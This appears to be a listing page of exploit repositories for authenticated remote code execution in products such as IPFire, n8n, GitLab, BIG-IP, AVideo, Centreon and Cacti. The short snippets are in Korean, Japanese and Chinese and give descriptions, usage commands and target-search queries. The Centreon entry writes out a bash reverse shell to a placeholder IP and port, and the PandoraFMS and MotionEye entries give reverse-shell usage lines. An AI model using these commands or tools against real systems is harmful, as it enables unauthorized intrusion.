ipfire-2-25-auth-rce

Ipfire 2-25 core update 156 인증된 RCE 패킷 설치 시 시스템 명령 실행 시스템이 HTML만으로 7zip을 가져옴 그리고 tmp 디렉터리 확인 버전 2.25 - core update 156 ipfire는 로그인 후 nobody 권한으로 임의의 OS 명령 실행을 허용함 루트가 되자! SUID 바이너리 확인 백업 프로그램이 다른 스크립트를 실행함. /var/ipfire/backup/bin/backup.pl bash 스크립트이며 권한이 매우 좋아 보임 bash 스크립트에 쓰기를 시도함. 오류 없음. 좋음!...

POC-CVE-2025-68613

説明 N8Nの認証済みRCE脆弱性CVE-2025-68613に対するPoCエクスプロイトコード 使用方法 python3 poc.py -u -c...

FuguHub-8.4-Authenticated-RCE-CVE-2024-27697

FuguHub 8.4 인증된 RCE Fuguhub는 클라우드 미디어 서버 소프트웨어입니다. 테스트된 버전은 다음 링크의 데비안 버전입니다: https://fuguhub.com/articles/FuguHub-for-Debian Real Time Logic LLC의 FuguHub v.8.4에서 관리자 패널의 About 페이지에 조작된 스크립트를 통해 로컬 공격자가 임의 코드를 실행할 수 있는 문제가 발견되었습니다. FuguHub 다운로드 페이지를 보여주는 스크린샷 설치 단계: wget...

edb-49263-fixed

edb-49263-fixed - GitLab 11.4.7 - 인증된 원격 코드 실행 CVE-2018-19571 및 CVE-2018-19585GitLab 11.4.7 - 인증된 원격 코드 실행를 악용하기 위한 Python 스크립트의 수정 버전으로, https://www.exploit-db.com/exploits/49263Python 3.9에서 확인할 수 있습니다. 사용법 스크립트를 편집하여 대상 주소를 실제 대상 주소로 교체하십시오. 또한 다음 사항을 명심해야 합니다. 1. 대상 GitLab 인스턴스에서 유효한 사용자 계정을...

CVE-2023-46747-RCE

취약점 세부 정보 fofa： title="BIG-IP" || iconhash="-335242539" shodan title:"BIG-IP" 영향을 받는 버전 https://my.f5.com/manage/s/article/K000137353 취약점 재현 1. 현재 여기서 사용자는 admin만 있습니다: 2. 스크립트 실행: git clone https://github.com/W01fh4cker/CVE-2023-46747-RCE.git cd CVE-2023-46747-RCE pip install -r requirements.txt...

CVE-2023-30854

WWBN Avideo 인증된 RCE - OS 명령 주입 CVE-2023-30854 WWBN Avideo sqlFile $objClone-cloneSiteURLvideos/cache/clones/$json-sqlFile"; $log-add"Clone 2 of $totalSteps: Geting MySQL Dump file"; exec$cmd . " 2&1", $output, $returnval; 관리자 패널의 사이트 복제 기능을 통해 $objClone-cloneSiteURL을 제어할 수 있습니다...

CVE-2023-32073

WWBN AVideo currentVersion 認証済みRCE plugin/CloneSite/cloneClient.json.php にコマンドインジェクションの脆弱性が存在し、CloneSite プラグインを使用している場合にリモートコード実行が可能です。これは CVE-2023-30854 の修正を回避するもので、WWBN Avideo バージョン 12.3 までに影響します。 脆弱なコード /plugin/CloneSite/cloneClient.json.php $json-sqlFile =...

CVE-2017-9101

PlaySMS 1.4 인증된 원격 코드 실행 ExploitDB에 설명된 Phonebook CSV 업로드 문제를 통한 원격 코드 실행의 간단한 방법입니다. 단일 명령 실행: % python3 playsmshell.py --url http://localhost/playsms --password playwithsms -c 'id' Grabbing CSRF token for login Attempting to login as admin + Logged in! Grabbing CSRF token for phonebook import...

CVE-2018-18852

CERIO 라우터 인증된 RCE 백도어 벤더 자격 증명 CVE-2018-18852 Python PoC hook-s3c github.com/hook-s3c, 트위터 @hooks3c CVE-2018-18852에 대한 동작하는 Python PoC로, 원래 다음에 공개되었습니다; https://github.com/hook-s3c/CVE-2018-18852 개요 CERIO 라우터 모델 및 변형인 DT300N, DT100G, AMR-3204, WMR-200N은 루트 사용자로 인증된 웹 기반 RCE에 취약합니다. 공개되지 않은 0day 권...

CVE-2019-19356

NETIS 라우터 WF2419 RCE CVE-2019-19356 배경 이 취약점은 NETIS WF2419 라우터의 웹 관리 페이지를 통해 인증된 상태에서 루트 권한으로 원격 코드 실행RCE이 가능한 것입니다. 이 취약점은 펌웨어 버전 V1.2.31805와 마지막으로 제공된 펌웨어 버전 V2.2.36123에서 발견되었습니다. 다른 모델 및 펌웨어도 취약할 수 있습니다. 사전 요구 사항 취약점을 악용하기 위해서는 몇 가지 사전 요구 사항이 필요합니다. 실제로 라우터의 웹 관리 페이지에 접근할 수 있어야 합니다. 또한 인증이 적용된...

CVE-2025-68613

🚀 n8n 인증 RCE PoC Pocsuite3 CVE ID : CVE-2025-68613 유형 : 인증된 원격 코드 실행 프레임워크 : Pocsuite3 이것은 Pocsuite3 프레임워크 기반으로 작성된 취약점 검증 및 이용 스크립트로, n8n 워크플로 자동화 도구의 인증 후 원격 코드 실행 취약점RCE을 탐지합니다. 이 스크립트는 무해한 검증Verify 및 명령 실행Attack 두 가지 모드를 지원하며, 테스트 흔적을 자동으로 정리하는 기능도 갖추고 있습니다. ⚙️ 매개변수 설명 이 스크립트는 Pocsuite3의 기본...

Moodle-authenticated-RCE

Moodle 4.4.0 - 인증된 원격 코드 실행 CVE-2024-43425 익스플로잇 CVE: CVE-2024-43425 영향을 받는 버전 Moodle 4.4 4.4.1 Moodle 4.3 4.3.5 Moodle 4.2 4.2.8 Moodle 4.1 4.1.11 설명 이 익스플로잇은 위에 나열된 Moodle 버전에서 인증된 원격 코드 실행RCE 취약점을 대상으로 합니다. 유효한 자격 증명을 가진 공격자가 안전하지 않은 문제 은행 편집 기능을 악용하여 서버에서 임의의 명령을 실행할 수 있습니다. 사용 방법 1. 이 저장소를...

CVE-2020-5844

CVE-2020-5844 PandoraFMS 7.0-NG 742 中的认证远程代码执行漏洞 拥有管理员权限的攻击者可以上传恶意的PHP文档。通过解码base64文件位置，用户可以获得一个以apache用户身份运行的shell。 由 TheCyberGeek 发现 PoC Python 脚本 用法：python3 CVE-2020-5844.py URL USER PASS PHPREVERSESHELL 示例：python3 CVE-2020-5844.py http://10.0.0.2/pandoraconsole admin pandora reverse.php...

CVE-2019-15107-Scanner

Webmin CVE-2019-15107 취약점 스캐너 CVE-2019-15107Webmin 1.890 1.920 버전의 인증된 원격 코드 실행 취약점에 취약한 Webmin 서버를 탐지하는 멀티스레드 Python 스크립트입니다. 설명 이 도구는 CSV 형식으로 제공된 Webmin 서버 목록을 스캔하여 passwordchange.cgi 엔드포인트를 통해 원격 코드 실행이 가능한 CVE-2019-15107 취약점을 확인합니다. 멀티스레드 방식으로 대규모 네트워크를 효율적으로 스캔할 수 있으며, 결과 해석을 용이하게 하기 위해 색상 ...

CVE-2020-0688_EXP

CVE-2020-0688EXP CVE-2020-0688EXP 자동 트리거 페이로드 python3 CVE-2020-0688EXP.py -h usage: CVE-2020-0688EXP.py -h -s SERVER -u USER -p PASSWORD -c CMD -e optional arguments: -h, --help show this help message and exit -s SERVER, --server ECP Server URL Example: http://ip/owa -u USER, --user USER login...

CVE-2019-19699

CVE-2019-19699 Centreon = 명령어 기타로 이동합니다. 아래 이미지와 같이 추가 를 클릭합니다. 이제 bash 리버스 셸 을 Miscellaneous 명령어로 생성합니다. !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 그리고 저장 을 클릭합니다. 이제 설정 Pollers로 이동한 후 현재 Central 폴러를 클릭합니다. 이것은 폴러 구성 수정 메뉴에 접근할 수 있게 해줍니다. 여기서 아래로 스크롤하여 재시작 후 명령어 를 설정할 수 있습니다. 이전에 생성한 리버스 셸 을 선택하고...

CVE-2018-17179-OpenEMR

CVE-2018-17179-OpenEMR ⚠️ 면책 조항 이 저장소는 교육 및 연구 목적으로만 제공됩니다. 여기 제공된 정보와 코드는 통제된 환경예: 개인 실험실 머신에서만 사용할 수 있습니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 대해 이 코드를 무단으로 사용하는 것은 불법적이고 비윤리적입니다. 저자는 이로 인한 어떠한 오용이나 손해에 대해서도 책임지지 않습니다. 🔍 취약점 정보 CVE-2018-17179 는 널리 사용되는 오픈 소스 전자 의무 기록 및 진료 관리 소프트웨어인 OpenEMR 에 영향...

-CVE-2026-7465

-CVE-2026-7465 CVE-2026-7465 Spectra Gutenberg Blocks 認証済みRCEエクスプロイト...

motioneye-authenticated-RCE

MotionEye/MotionEyeOS 인증된 RCE MotionEye에서 RCE를 가능하게 하는 tasks.pickle 파일을 업로드하는 Python 3 스크립트입니다. 관리자 자격 증명이 필요하므로 그리 큰 문제가 아니어야 합니다. 불행히도 MotionEye/MotionEyeOS는 종종 기본 자격 증명으로 실행되는 것을 발견할 수 있습니다. 예제: main.py --victim 192.168.1.2 --attacker 192.168.1.3:4444 victim과 attacker는 ip:port 형식입니다. 단, 포트가 80...

CVE-2024-25641-CACTI-RCE-1.2.26

CVE-2024-25641 - Cacti 1.2.26 - 임의 파일 쓰기를 통한 RCE 🌵 인증된 RCE Cacti 버전 v1.2.26 요약 임의 파일 쓰기 취약점은 "Package Import" 기능을 통해 악용할 수 있으며, "Import Templates" 권한을 가진 인증된 사용자가 웹 서버에서 임의의 PHP 코드를 실행할 수 있게 합니다 RCE. 개념 증명 PoC 사용법 git clone https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26.git && ...